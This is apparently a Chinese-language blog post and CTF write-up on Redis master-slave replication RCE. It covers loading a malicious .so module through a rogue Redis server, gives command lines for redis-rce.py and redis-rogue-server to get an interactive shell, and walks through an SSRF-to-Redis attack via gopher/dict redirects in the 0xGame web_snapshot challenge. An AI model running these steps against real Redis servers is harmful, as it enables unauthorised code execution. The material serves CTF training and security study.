type
Post
status
Published
date
slug
summary
tags
推荐
category
技术分享
category (1)
icon
password
comment
一、Redis 主从复制一键自动化RCE
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。
通过脚本实现一键自动化getshell:
1、生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。
2、攻击端执行: python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so
二、Redis主从复制利用原理
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。
编写恶意so文件的代码。l利用脚本https://github.com/Dliv3/redis-rogue-server
三、Redis主从复制的几种情况
(一)、主动连接模式
适用于目标Redis服务处于外网的情况
- 外网Redis未授权访问
- 已知外网Redis口令
启动redis rogue server,并主动连接目标redis服务发起攻击
参数说明:
-rpasswd如果目标Redis服务开启了认证功能,可以通过该选项指定密码
-rhost目标redis服务IP
-rport目标redis服务端口,默认为6379
-lhostvps的外网IP地址
-lportvps监控的端口,默认为21000
攻击成功之后,你会得到一个交互式shell
(二)、被动连接模式
适用于目标Redis服务处于内网的情况
- 通过SSRF攻击Redis
- 内网Redis未授权访问/已知Redis口令, Redis需要反向连接redis rogue server
这种情况下可以使用
--server-only选项参数说明:
-server-only仅启动redis rogue server, 接受目标redis的连接,不主动发起连接
四、例题
2023 0xGame web_snapshot
题⽬会通过 curl 函数请求⽹⻚, 并将 html 源码保存在 Redis 数据库中
请求⽹⻚的过程很明显存在 ssrf, 但是限制输⼊的 url 只能以 http / https 开头
⾸先注意 curl_setopt 设置的参数 CURLOPT_FOLLOWLOCATION , 代表允许 curl 根据返回头中的 Location 进⾏
重定向
参考: https://www.php.net/manual/zh/function.curl-setopt.php
[

[

⽽ curl ⽀持 dict / gopher 等协议, 那么我们就可以通过 Location 头把协议从 http 重定向⾄ dict / gopher, 这个技
巧在⼀些关于 ssrf 的⽂章⾥⾯也会提到
https://www.cnblogs.com/xiaozi/p/13089906.html
https://github.com/Dliv3/redis-rogue-serve
payload
分两次打
在 vps 上启动⼀个 php 服务器, 例如 php -S 0.0.0.0:65000 , 然后让题⽬去访问这个 php ⽂件(我用的是直接启动apache
[

第⼆次打完之后, 访问给出的 link 拿到回显
[

这⾥得注意⼏个点
⾸先 gopher 得分两次打, 不然你在执⾏ slaveof IP Port 命令之后⼜⽴即执⾏了 slave of no one , 这就导
致根本没有时间去主从复制 exp.so
其次在使⽤ gopher 发送 redis 命令的时候记得结尾加上 quit , 不然会⼀直卡住
然后注意 redis 的主机名是 db , ⽽不是 127.0.0.1 , 因此访问 redis 数据库得⽤ db:6379
如果⽤ dict 协议打的话, 得调整⼀下 payload 顺序
因为每次执⾏命令之间会存在⼀定的时间间隔, 所以得先设置 dir 和 dbfilename, 然后再 slaveof, 不然最终同步的
⽂件名和路径还是原来的 /data/dump.rdb
- 作者:qetx
- 链接:http://qetx.top/article/5460456b-9e24-45a9-afab-a2c70e2cd3be
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。








